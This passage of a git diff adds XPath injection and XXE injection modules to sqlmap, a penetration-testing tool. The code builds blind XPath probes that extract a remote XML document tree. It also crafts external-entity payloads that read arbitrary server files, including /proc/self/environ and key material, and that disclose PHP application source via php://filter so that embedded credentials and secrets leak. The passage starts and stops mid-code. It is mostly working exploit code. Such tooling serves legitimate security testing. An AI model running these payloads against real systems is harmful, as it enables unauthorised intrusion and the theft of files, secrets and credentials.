(oracle inconclusive after retries)") + return None + + logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, len(value))) + return value if value else None + + +def _inferCount(oracle, builder, path, countFn, maxCount=128): + """Binary search for a count value using predicate 'count(...)>=N'. Returns the count, or None + when the oracle is inconclusive - NEVER 0, because a real 0 means 'this element is a leaf' and the + tree walker would then fabricate scalar text for a node whose child count is actually UNKNOWN.""" + + try: + if not oracle.extract(countFn(builder, path, 1)): + return 0 + + lo, hi = 1, maxCount + while lo < hi: + mid = (lo + hi + 1) // 2 + if oracle.extract(countFn(builder, path, mid)): + lo = mid + else: + hi = mid - 1 + return lo + except InconclusiveError: + # unknown must NOT collapse to 0 (that reads as a leaf); signal it so the walker marks the + # node partial instead of inventing a structurally-plausible but wrong empty/leaf element + logger.warning("XPath count inference inconclusive (oracle ambiguous after retries)") + return None + + +def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): + """Blindly recover the string value of XPath expression `target` (e.g. + "name(/*)" or "string(/*[1]/@*[1])") using binary search. + + The length is bisected first, then each character is resolved by bisecting + its index inside the ordered charset. This needs ~log2(len) requests per + character versus the linear charset scan in _inferValue(), which matters a + lot when walking a whole document tree. Characters outside the charset are + surfaced as '?' so the rest of the value is still recovered.""" + + try: + if not oracle.extract(builder.stringLengthAtLeast(target, 1)): + return None + + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if oracle.extract(builder.stringLengthAtLeast(target, mid)): + lo = mid + else: + hi = mid - 1 + length = lo + + chars = [] + probes = 0 + last = len(_CS_ORDS) - 1 + for pos in xrange(1, length + 1): + probes += 1 + if not oracle.extract(builder.charPresent(target, pos)): + chars.append("?") + continue + + clo, chi = 0, last + while clo < chi: + cmid = (clo + chi + 1) // 2 + probes += 1 + if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)): + clo = cmid + else: + chi = cmid - 1 + chars.append(chr(_CS_ORDS[clo])) + except InconclusiveError: + # abort this value rather than emit a length/char chosen from an ambiguous bit + logger.warning("XPath string inference aborted (oracle inconclusive after retries)") + return None + + value = "".join(chars) + logger.debug("XPath blind inference: %d probes (length=%d)" % (probes, length)) + return value or None + + +def _walkTree(oracle, builder, path="/*", depth=0): + """Recursively walk the XML tree from a given XPath expression. + Returns a dict: {name, path, children, attributes, text} or None.""" + + if depth > XPATH_MAX_DEPTH: + return None + + name = _inferString(oracle, builder, "name(%s)" % path) + if not name: + return None + + logger.info("discovered element: '%s'" % name) + + # None => inconclusive (NOT a real count). An unknown child/attribute count must leave the node + # PARTIAL: never treat unknown as a leaf (which would fabricate scalar text) or iterate a phantom + # range - only enumerate when the count is a confirmed, positive integer. + childCount = _inferCount(oracle, builder, path, + lambda b, p, c: b.childCount(p, c), + maxCount=32) + if childCount is None: + logger.warning("element '%s' child count is inconclusive; marking node partial" % name) + elif childCount >= 32: + logger.warning("element '%s' hit the 32-child cap; some child nodes may be omitted" % name) + + attrCount = _inferCount(oracle, builder, path, + lambda b, p, c: b.attributeCount(p, c), + maxCount=16) + if attrCount is None: + logger.warning("element '%s' attribute count is inconclusive; some attributes may be omitted" % name) + elif attrCount >= 16: + logger.warning("element '%s' hit the 16-attribute cap; some attributes may be omitted" % name) + + attributes = [] + for i in xrange(1, (attrCount or 0) + 1): + attrName = _inferString(oracle, builder, "name(%s/@*[%d])" % (path, i)) + if not attrName: + continue + + attrValue = _inferString(oracle, builder, "string(%s/@*[%d])" % (path, i)) + # None => inconclusive (aborted) attribute value; mark it visibly, don't blank it into "" + shown = INCONCLUSIVE_MARK if attrValue is None else attrValue + attributes.append({"name": attrName, "value": shown}) + logger.info(" attribute: @%s='%s'" % (attrName, shown)) + + # only a CONFIRMED zero child count means "leaf" -> infer its scalar text; an unknown (None) count + # must not be read as a leaf + text = None + if childCount == 0: + text = _inferString(oracle, builder, "string(%s)" % path) + + children = [] + for i in xrange(1, (childCount or 0) + 1): + childPath = "%s/*[%d]" % (path, i) + child = _walkTree(oracle, builder, childPath, depth + 1) + if child: + children.append(child) + + # PARTIAL when a count is unknown (None) OR a cap was hit (>=32 children / >=16 attributes) - a + # truncated node is not a complete one + partial = (childCount is None or attrCount is None + or (childCount is not None and childCount >= 32) + or (attrCount is not None and attrCount >= 16)) + return { + "name": name, + "path": path, + "children": children, + "attributes": attributes, + "text": text, + "partial": partial, + } + + +def _treeToTable(node): + """Flatten a tree node to (columns, rows) for grid output. A node whose child/attribute count was + inconclusive is flagged (Element name suffixed with ' [partial]') so the recovered structure is + visibly distinguished from a fully-enumerated one.""" + + columns = ["Path", "Element", "Attribute", "Value"] + rows = [] + + def _flatten(n, depth=0): + path = n["path"] + partial = n.get("partial") + name = n["name"] + (" [partial]" if partial else "") + # keep the bare element row when the node is PARTIAL (so a partial node with no recovered + # attributes/children/text still appears - it must not be filtered away as if fully empty) + rows.append([path, name, "", "[partial - enumeration inconclusive]" if partial else ""]) + for attr in n.get("attributes", []): + rows.append([path, name, "@" + attr["name"], attr["value"]]) + if n.get("text"): + rows.append([path, name, "text()", n["text"]]) + for child in n.get("children", []): + _flatten(child, depth + 1) + + _flatten(node) + return columns, [_ for _ in rows if _[3] or _[2] not in ("", "text()")] + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(getUnicode(row[index]))) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpTable(title, columns, rows): + if rows: + conf.dumper.singleString("%s:\n%s" % (title, _grid(columns, rows))) + + +def xpathScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--xpath' is self-contained: it detects XPath injection in HTTP " + debugMsg += "parameters and walks the reachable XML document tree. SQL enumeration " + debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = found = 0 + slots = [] + + for place in (_ for _ in XPATH_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing XPath injection on %s parameter '%s'" % (place, parameter)) + + # Phase 1: Probe the XPath parser for a backend hint + backendHint, _errorPayload = _probeBackendByParserError(place, parameter) + if backendHint: + backendHint = _fingerprintByError(backendHint) + + # Phase 2: Establish a boolean oracle (authoritative) + template, payload, boundary = _detectBoolean(place, parameter) + if template: + if boundary and boundary.extractable: + backend = backendHint or "Generic XPath" + original = _originalValue(place, parameter) or "" + oracle = _makeOracle(place, parameter, boundary, _extractionBase(original, boundary)) + found += 1 + if conf.beep: + beep() + if oracle is None: + # detection is confirmed, but the extraction true/false models are not + # reliably separable - report the finding WITHOUT extracting (never emit + # fabricated tree data from an unstable oracle) + logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s'); " + "extraction disabled (true/false models not reliably separable)" % (place, parameter, backend)) + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: XPath boolean-based blind (extraction unavailable)\n Payload: %s\n---" % (parameter, place, payload)) + continue + logger.info("%s parameter '%s' is vulnerable to XPath injection (back-end: '%s')" % (place, parameter, backend)) + slots.append(Slot(place=place, parameter=parameter, backend=backend, + oracle=oracle, template=oracle.template, payload=payload, + boundary=boundary)) + continue + + # Detection-only: boolean differentiation confirmed but no extraction boundary. + # Report as auth bypass on credential fields; log generically otherwise. + found += 1 + if _isPasswordParam(parameter): + title = "XPath auth bypass" + logger.info("%s parameter '%s' allows XPath auth bypass (boolean differentiation confirmed)" % (place, parameter)) + else: + title = "XPath boolean-based blind (detection-only)" + logger.info("%s parameter '%s' is vulnerable to XPath injection (detection-only, back-end: '%s')" % (place, parameter, backendHint or "Generic XPath")) + if conf.beep: + beep() + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: %s\n Payload: %s=%s\n---" % (parameter, place, title, parameter, payload)) + continue + + if backendHint: + logger.info("%s parameter '%s' reaches an XPath parser (back-end: '%s'), but no exploitable boolean oracle was established" % (place, parameter, backendHint)) + + if not slots: + if found: + logger.info("XPath injection confirmed (detection-only, no extractable boundary established)") + logger.info("XPath scan complete") + return + if tested: + warnMsg = "no parameter appears to be injectable via XPath injection (%d tested)" % tested + else: + warnMsg = "no parameters found to test for XPath injection" + logger.warning(warnMsg) + return + + # Select the first oracle-bearing slot with an extractable boundary for tree-walking + slot = next((_ for _ in slots if _.oracle and _.boundary and _.boundary.extractable), None) + if not slot: + logger.info("XPath scan complete") + return + + original = _originalValue(slot.place, slot.parameter) or "x" + # SAME base the oracle was calibrated with (see _extractionBase / _makeOracle) + base = _extractionBase(original, slot.boundary) + builder = _XPathPayloadBuilder(base, slot.boundary) + oracle = slot.oracle + + # Refine backend fingerprint if generic + if not slot.backend or slot.backend == "Generic XPath": + backend = _backendFromError(oracle.template) + if backend: + backend = _fingerprintByError(backend) + if backend: + logger.info("identified back-end: '%s'" % backend) + slot = slot._replace(backend=backend) + + title = "XPath boolean-based blind" + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload)) + + # Blind XML tree-walking (attempted document-root traversal) + logger.info("walking XML document tree (depth limit: %d)" % XPATH_MAX_DEPTH) + root = _walkTree(oracle, builder) + + if root: + columns, rows = _treeToTable(root) + logger.info("extracted %d node(s) from XML tree" % (len(rows))) + _dumpTable("XPath: %s parameter '%s' XML tree" % (slot.place, slot.parameter), columns, rows) + else: + warnMsg = "XPath injection is confirmed but the XML tree could not be walked. " + warnMsg += "This may indicate a restricted XPath context (subtree, scalar, or predicate-only)" + logger.warning(warnMsg) + + logger.info("XPath scan complete") diff --git a/lib/techniques/xxe/__init__.py b/lib/techniques/xxe/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/xxe/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/xxe/inject.py b/lib/techniques/xxe/inject.py new file mode 100644 index 00000000000..50bc5375362 --- /dev/null +++ b/lib/techniques/xxe/inject.py @@ -0,0 +1,1098 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import re +import time + +from lib.core.common import beep +from lib.core.common import dataToOutFile +from lib.core.common import randomStr +from lib.core.common import readInput +from lib.core.common import singleTimeWarnMessage +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.convert import htmlUnescape +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.dicts import POST_HINT_CONTENT_TYPES +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HTTP_HEADER +from lib.core.enums import HTTPMETHOD +from lib.core.settings import ASTERISK_MARKER +from lib.core.settings import XXE_BLACKHOLE_HOST +from lib.core.settings import XXE_ERROR_SIGNATURES +from lib.core.settings import XXE_FILE_HARVEST +from lib.core.settings import XXE_HARDENED_REGEX +from lib.core.settings import XXE_IMPACT_FILES +from lib.core.settings import XXE_SOURCE_NAMES +from lib.core.settings import XXE_WEBROOTS +from lib.core.settings import OOB_POLL_ATTEMPTS +from lib.core.settings import OOB_POLL_DELAY +from lib.core.settings import XXE_LOCAL_DTDS +from lib.core.settings import XXE_LOCATION_SWEEP_MAX +from lib.core.settings import XXE_TIME_THRESHOLD +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.nonsql import ratio as _ratio +from lib.utils.xrange import xrange +from thirdparty.six.moves import urllib as _urllib + +# Fresh per-scan sentinel token. Deliberately a random opaque string (never +# root:x:0:0 or similar) so it cannot collide with a WAF honeypot signature and +# so its presence in a response is unambiguously our reflected/expanded value. +SENTINEL = randomStr(length=12, lowercase=True) + +# When the user marked an explicit injection point in the body (e.g. '<n>luther*</n>'), +# it is preserved as this placeholder and used as the SOLE injection spot, instead of +# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact. +_MARKER = None + +# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan). +_OOB_CONSENT = None + +# Latched leaf text-node location that the in-band reflection sweep proved workable. Every subsequent +# body-injection tier (`_placeRef` with index left as None) reuses it, so once the reflecting node is +# found the file-read/harvest/XInclude tiers all target that same spot instead of always the first leaf. +_PLACE_INDEX = 0 + +# First element of the document (skipping the <?xml?> prolog, comments and any +# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc. +_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)") + +# A leaf text node: >text< with no markup/entities inside. Used to place an +# entity reference where the application is most likely to echo it back. +_TEXTNODE_RE = re.compile(r">(\s*[^<>&\s][^<>&]*)<") + + +def _looksXml(data): + data = (getText(data) or "").strip() + return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data + + +def _toSystemId(path): + """Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId, + consistently across every tier.""" + p = getText(path or "").strip() + if "://" in p: + return p + return "file:///" + p.replace("\\", "/").lstrip("/") + + +def _toResource(path): + """Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped).""" + p = getText(path or "").strip() + if p.startswith("file://"): + p = p[len("file://"):] + p = p.replace("\\", "/") + if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...' + return p.lstrip("/") + return "/" + p.lstrip("/") + + +def _cleanBody(): + """Return the original request body with sqlmap's injection marks removed. + Order matters: drop the injected custom marks first (any literal '*' from the + original body was already escaped to ASTERISK_MARKER by target processing), + then restore those escaped asterisks.""" + global _MARKER + _MARKER = None + data = getText(conf.data or "") + mark = kb.customInjectionMark or "\x00" + if kb.get("processUserMarks") and mark in data: + # user chose the injection point explicitly - honour it as the SOLE spot + _MARKER = "xxemark%s" % randomStr(10, lowercase=True) + data = data.replace(mark, _MARKER, 1).replace(mark, "") + else: + data = data.replace(mark, "") + data = data.replace(ASTERISK_MARKER, "*") + return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct + + +def _rootName(xml): + stripped = re.sub(r"<\?.*?\?>", "", xml, flags=re.DOTALL) + stripped = re.sub(r"<!--.*?-->", "", stripped, flags=re.DOTALL) + stripped = re.sub(r"<!DOCTYPE[^>]*(?:\[[^\]]*\])?\s*>", "", stripped, flags=re.DOTALL) + match = _ROOT_RE.search(stripped) + return match.group(1) if match else None + + +def _auxHeaders(): + """Send an XML content-type unless the user already pinned one (via -H/-r).""" + for name, _ in (conf.httpHeaders or []): + if (name or "").lower() == HTTP_HEADER.CONTENT_TYPE.lower(): + return None + return {HTTP_HEADER.CONTENT_TYPE: POST_HINT_CONTENT_TYPES.get(kb.postHint) or "application/xml"} + + +def _send(body): + """Issue one request with a fully-crafted XML body, preserving sqlmap's normal + request machinery (URL, cookies, headers, proxy, delay) for everything else.""" + + if conf.delay: + time.sleep(conf.delay) + + if _MARKER and not isinstance(body, bytes) and _MARKER in body: + body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending + + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body)) + page, _, _ = Request.getPage(post=body, method=conf.method, auxHeaders=_auxHeaders(), raise404=False, silent=True) + return page or "" + except Exception as ex: + logger.debug("XXE probe request failed: %s" % getUnicode(ex)) + return "" + + +def _scanDoctype(xml): + """Non-resolving lexical scan for a DOCTYPE declaration. Returns {start, subsetOpen, subsetClose, + end} byte offsets (subsetOpen/subsetClose None when there is no internal subset), or None when the + document has no DOCTYPE. Tracks quote state, comments and the internal subset so a '>' or ']>' + sitting inside a quoted entity value, a comment, or a nested markup declaration does NOT + prematurely terminate the scan - a plain regex mis-detects every one of those and either truncates + the DOCTYPE or finds a phantom subset close, corrupting the built payload. This scanner never + resolves entities or fetches external ids; it only locates boundaries.""" + m = re.search(r"<!DOCTYPE\b", xml) + if not m: + return None + n = len(xml) + i = m.end() + subsetOpen = subsetClose = None + quote = None + while i < n: + c = xml[i] + if quote: + if c == quote: + quote = None + i += 1 + elif xml.startswith("<!--", i): + end = xml.find("-->", i + 4) + i = (end + 3) if end != -1 else n + elif c in ('"', "'"): + quote = c + i += 1 + elif c == '[' and subsetOpen is None: + subsetOpen = i + j, depth, iq = i + 1, 0, None + while j < n: # scan the internal subset to its matching ']' + cj = xml[j] + if iq: + if cj == iq: + iq = None + j += 1 + elif xml.startswith("<!--", j): + e = xml.find("-->", j + 4) + j = (e + 3) if e != -1 else n + elif cj in ('"', "'"): + iq = cj + j += 1 + elif cj == ']' and depth == 0: + subsetClose = j + break + else: + if cj == '<': + depth += 1 + elif cj == '>' and depth > 0: + depth -= 1 + j += 1 + i = (subsetClose + 1) if subsetClose is not None else n + elif c == '>': + return {"start": m.start(), "subsetOpen": subsetOpen, "subsetClose": subsetClose, "end": i + 1} + else: + i += 1 + return {"start": m.start(), "subsetOpen": subsetOpen, "subsetClose": subsetClose, "end": n} + + +def _contentStart(xml): + """Offset at which document-element content begins: just past a DOCTYPE (located by the lexical + scanner, so a quoted '>' / comment / CDATA inside it is not mistaken for its end), else just past + the XML prolog, else 0. Text-node operations start here so they never touch the DTD.""" + doctype = _scanDoctype(xml) + if doctype: + return doctype["end"] + prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL) + return prolog.end() if prolog else 0 + + +def _buildDoctype(xml, rootName, internalSubset): + """Prepend (or extend) a DOCTYPE carrying `internalSubset` into `xml`. + A document may already declare a DOCTYPE - injecting a second one is invalid + XML and every parser rejects it, so we splice into the existing declaration + instead (into its internal subset, or by adding one to a subset-less DOCTYPE). + Boundaries come from the lexical scanner, not a regex, so a quoted '>' or a + comment inside an existing DOCTYPE cannot misplace the splice.""" + + doctype = _scanDoctype(xml) + if doctype and doctype["subsetOpen"] is not None: + # Splice our declarations into the existing internal subset. + insertAt = doctype["subsetOpen"] + 1 + return xml[:insertAt] + "\n" + internalSubset + "\n" + xml[insertAt:] + + if doctype: + # DOCTYPE with an external id but no internal subset (e.g. SYSTEM "x.dtd"): + # add an internal subset before its closing '>' (both may legally coexist). + close = doctype["end"] - 1 + return xml[:close] + " [\n" + internalSubset + "\n]" + xml[close:] + + built = "<!DOCTYPE %s [\n%s\n]>" % (rootName, internalSubset) + prolog = re.match(r"\s*<\?xml.*?\?>", xml, flags=re.DOTALL) + if prolog: + end = prolog.end() + return xml[:end] + "\n" + built + xml[end:] + return built + "\n" + xml + + +def _textNodeCount(xml): + """Number of leaf text nodes `_placeRef` can target (for callers that sweep one location at a + time). Excludes the DOCTYPE, mirroring `_placeRef` (via the lexical `_contentStart`).""" + return len(_TEXTNODE_RE.findall(xml[_contentStart(xml):])) + + +def _sweepLocations(xml): + """Ordered list of leaf-text-node indices for a body-injection tier to try, bounded by + XXE_LOCATION_SWEEP_MAX so a document with many text nodes cannot explode the request count. When + the user pinned an explicit injection marker there is exactly one spot, so no sweep is needed.""" + if _MARKER and _MARKER in xml: + return [0] + return list(xrange(min(max(1, _textNodeCount(xml)), XXE_LOCATION_SWEEP_MAX))) + + +def _placeRef(xml, snippet, attrs=False, index=None): + """Insert `snippet` (an entity reference or an XInclude element) into ONE leaf text node - the + `index`-th - PRESERVING every other value. Replacing every leaf (and, in the internal-entity tier, + every attribute) at once corrupted the whole document: schema validation, XML signatures/checksums, + authentication values, IDs and routing fields were all destroyed, which both causes false negatives + (the app rejects the mutated document, unrelated to entity handling) and can trigger application-side + actions on altered values. An explicit '*'/marker still wins. When `attrs` is set and there is no + text node, seeds ONE attribute value. `index` None (the default) uses the latched `_PLACE_INDEX` - + the location the reflection sweep proved workable - so downstream read tiers reuse it; the sweep + itself passes an explicit `index` 0..N-1 (see `_textNodeCount`) to try each location individually. + `snippet` is placed in exactly one spot per call so the rest of the document stays well-formed and + semantically intact.""" + + if index is None: + index = _PLACE_INDEX + + if _MARKER and _MARKER in xml: + return xml.replace(_MARKER, snippet) # honour the user's explicit injection point + + start = _contentStart(xml) # skip the DOCTYPE via the lexical scanner (quote/comment safe) + head, tail = xml[:start], xml[start:] + + matches = list(_TEXTNODE_RE.finditer(tail)) + if matches: + m = matches[index if 0 <= index < len(matches) else 0] + return head + tail[:m.start()] + ">" + snippet + "<" + tail[m.end():] + if attrs: + # a general internal entity legally expands inside an attribute value; seed ONE attribute + # (never xmlns) when the document has no text node. External-entity/XInclude tiers must not + # request this (an external ref in an attribute is ill-formed). + am = re.search(r'''(\s(?!xmlns[:=])[\w.:-]+\s*=\s*)("|')[^"'<>&]*\2''', tail) + if am: + return head + tail[:am.start()] + "%s%s%s%s" % (am.group(1), am.group(2), snippet, am.group(2)) + tail[am.end():] + + rootName = _rootName(xml) + if rootName: + close = "</%s>" % rootName + if close in xml: + idx = xml.rindex(close) + return xml[:idx] + snippet + xml[idx:] + # self-closing root: <root/> -> <root>snippet</root> + selfClose = re.search(r"<%s\b[^>]*/>" % re.escape(rootName), xml) + if selfClose: + tag = selfClose.group(0) + opened = tag[:-2] + ">" + snippet + close + return xml[:selfClose.start()] + opened + xml[selfClose.end():] + return xml + + +def _fingerprint(page): + page = getUnicode(page or "") + for family, regex in XXE_ERROR_SIGNATURES: + if re.search(regex, page): + return family + return None + + +def _echoed(page): + """True when the response mirrors our markup back (a debug/echo endpoint that + never parses XML). Since our sentinel lives inside the DOCTYPE/ENTITY declaration + we send, an echo would otherwise look like a genuine reflected/error hit. We match + the declaration in raw AND escaped forms (HTML-entity, decimal/hex numeric, and + percent-encoded) so an app that HTML-escapes or URL-encodes the reflected body is + still recognised as an echo regardless of whether decodePage normalised it.""" + page = getUnicode(page or "").lower() + for kw in ("!doctype", "!entity"): + for lt in ("<", "<", "<", "<", "%3c", "\\u003c"): + if lt + kw in page: + return True + return False + + +def _report(title, payload, vulnType="XXE injection"): + if conf.beep: + beep() + place = conf.method or HTTPMETHOD.POST + conf.dumper.singleString("---\nParameter: XML body (%s)\n Type: %s\n Title: %s\n Payload: %s\n---" % (place, vulnType, title, payload)) + + +def _saveFileRead(remoteFile, content): + """Save an XXE-read file to the output directory (parity with '--file-read') and + return its local path, or None if it could not be written.""" + try: + return dataToOutFile(remoteFile, getBytes(content)) + except Exception as ex: + logger.debug("could not save XXE-read file to disk: %s" % getUnicode(ex)) + return None + + +def _dumpFileRead(remoteFile, content): + """Save a single XXE-read file and list it; fall back to a console dump if the + file cannot be written.""" + localPath = _saveFileRead(remoteFile, content) + if localPath: + conf.dumper.rFile([localPath]) + else: + conf.dumper.singleString("XXE file read ('%s'):\n%s" % (remoteFile, content)) + + +def _harvestFiles(xml, rootName): + """Proactive, best-effort file harvest run once an in-band XXE read primitive is + confirmed: pull a curated set of high-value fixed-path files (host identity, + process env/secrets, key material) the way the other non-SQL engines auto-dump + their reachable data. Returns a list of (path, content, payload) for every file + that read back non-empty; unreadable/absent files are silently skipped. Content is + de-duplicated so a parser that resolves every missing path to the same stub cannot + masquerade as many distinct reads.""" + + harvested = [] + seen = set() + for path in XXE_FILE_HARVEST: + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip(): + key = content.strip() + if key in seen: + continue + seen.add(key) + harvested.append((path, content, payload)) + return harvested + + +def _phpFilterWorks(xml, rootName): + """One probe: can the target read a file via php://filter (i.e. is it PHP)? Gates + the PHP-only source-code sweep so a non-PHP target does not pay dozens of pointless + requests for it.""" + + from lib.core.convert import decodeBase64 + + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) + ent = randomStr(8, lowercase=True) + subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">' % ent + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), getUnicode(_send(payload)), re.DOTALL) + if match and match.group(1).strip(): + try: + return bool(getText(decodeBase64(match.group(1).strip())).strip()) + except Exception: + pass + return False + + +def _harvestSource(xml, rootName, harvested): + """PHP-only follow-up run once an in-band read primitive is confirmed: disclose + server-side application SOURCE code via php://filter (source is executed, never + rendered, yet its literals - credentials, tokens, embedded secrets - leak verbatim). + Candidate paths are derived from the already-harvested /proc/self/{cmdline,environ} + (running script + working dir) combined with common web roots/source names, and + de-duplicated against the host harvest by content. Skipped entirely on a non-PHP + target. Returns a list of (path, content, payload).""" + + if not _phpFilterWorks(xml, rootName): + return [] + + byPath = dict((p, c) for p, c, _ in harvested) + seen = set(getUnicode(c).strip() for c in byPath.values()) + candidates = [] + + dirs = [] + environ = getUnicode(byPath.get("/proc/self/environ", "")) + match = re.search(r"(?:^|\x00)PWD=([^\x00]+)", environ) + cwd = match.group(1).strip() if match else None + if cwd: + dirs.append(cwd) + dirs += [_ for _ in XXE_WEBROOTS if _ != cwd] + + cmdline = getUnicode(byPath.get("/proc/self/cmdline", "")) + for token in re.split(r"[\x00\s]+", cmdline): + if token and re.search(r"\.(?:php|py|rb|js|jsp|pl|cgi)$", token, re.I): + if token.startswith("/"): + candidates.append(token) # absolute script path + elif cwd: + candidates.append("%s/%s" % (cwd.rstrip("/"), token)) + + for directory in dirs: + for name in XXE_SOURCE_NAMES: + candidates.append("%s/%s" % (directory.rstrip("/"), name)) + + logger.info("attempting application source-code disclosure via php://filter") + + result = [] + read = set() + for path in candidates: + if path in read: + continue + read.add(path) + content, payload = _tryInbandFileRead(xml, rootName, path) + if content and content.strip() and getUnicode(content).strip() not in seen: + seen.add(getUnicode(content).strip()) + result.append((path, content, payload)) + return result + + +def _tryInternal(xml, rootName, baseline, index=None): + """T2 in-band: an internal general entity expands to the sentinel and is + reflected. Guarded by a negative control (sentinel absent from baseline) and + a raw-echo guard (the literal '&ent;' must NOT survive - that would mean the + app merely mirrors the body without parsing entities). `index` selects the leaf + text node to inject into (the sweep in `xxeScan` tries each in turn).""" + + ent = randomStr(length=8, lowercase=True) + subset = '<!ENTITY %s "%s">' % (ent, SENTINEL) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent, attrs=True, index=index) + page = _send(payload) + + if SENTINEL in page and ("&%s;" % ent) not in page and not _echoed(page) and SENTINEL not in baseline: + return payload, page + return None, page + + +def _confirmRead(page, pattern, baseline): + """Return the first response line that matches a known file-content signature + and is absent from the baseline. The baseline guard is essential: it stops a + generic short reply (e.g. 'received', 'ok') from matching a loose pattern.""" + + baselineLines = set(_.strip() for _ in getUnicode(baseline or "").splitlines()) + for line in getUnicode(page).splitlines(): + line = line.strip() + if line and line not in baselineLines and re.search(pattern, line): + return line + return None + + +def _normalizeEscaping(text): + """Bounded, non-resolving decode of the common reflection encodings (HTML entities, percent- + encoding, JS \\uXXXX / escaped slash) so an ESCAPED entity reference (&e;, &e;, &e;, + %26e%3B, \\u0026e;) is unmasked and can be recognised as reflection rather than file content.""" + out = getUnicode(text) + for _ in range(3): # a few rounds catch double-encoding; capped + prev = out + try: + out = htmlUnescape(out) + except Exception: + pass + try: + out = _urllib.parse.unquote(out) + except Exception: + pass + out = out.replace("\\u0026", "&").replace("\\u003b", ";").replace("\\/", "/") + if out == prev: + break + return out + + +def _readBetweenMarkers(xml, rootName, systemId, isB64, m1, m2): + """Read `systemId` via an external entity placed between markers `m1`/`m2`; slice, reject a + reflected (un-expanded) entity in any encoding, and base64-decode when requested. Returns + (content, payload) with content=None when nothing usable came back.""" + from lib.core.convert import decodeBase64 + ent = randomStr(8, lowercase=True) + subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId) + payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2)) + page = getUnicode(_send(payload)) + match = re.search(re.escape(m1) + r"(.*?)" + re.escape(m2), page, re.DOTALL) + if not match: + return None, payload + data = match.group(1) + # a reflected (not expanded) entity in ANY encoding: the random entity NAME survives de-escaping -> + # the parser echoed the reference, it did not resolve the external entity -> not file content + if not data.strip() or ent in _normalizeEscaping(data): + return None, payload + if isB64: + try: + data = getText(decodeBase64(data.strip())) # strict base64 also validates real bytes + except Exception: + return None, payload + if not data or not data.strip() or ent in _normalizeEscaping(data): + return None, payload + return (data if (data and data.strip()) else None), payload + + +def _tryInbandFileRead(xml, rootName, fileName): + """Read an arbitrary file IN-BAND on a reflective target. The strict php://filter base64 channel is + PREFERRED (self-validating: only real bytes decode). The raw file:// channel is guarded by a MATCHED + CONTROL - a read of a random NONEXISTENT path with identical markers: a gateway/sanitizer that + substitutes a fixed placeholder (e.g. '[external entity disabled]', an error string) returns the + SAME text regardless of path, so if the requested-path read is materially identical to the + nonexistent-path read it is NOT genuine content and is rejected. Returns (content, payload) or + (None, None).""" + + m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True) + + # (1) preferred: strict base64 (PHP) - decoding proves the bytes are real, no control needed + data, payload = _readBetweenMarkers(xml, rootName, + "php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True, m1, m2) + if data: + return data, payload + + # (2) raw file:// with a nonexistent-path differential control + data, payload = _readBetweenMarkers(xml, rootName, _toSystemId(fileName), False, m1, m2) + if data: + bogus = _toSystemId("/%s/%s" % (randomStr(10, lowercase=True), randomStr(12, lowercase=True))) + control, _ = 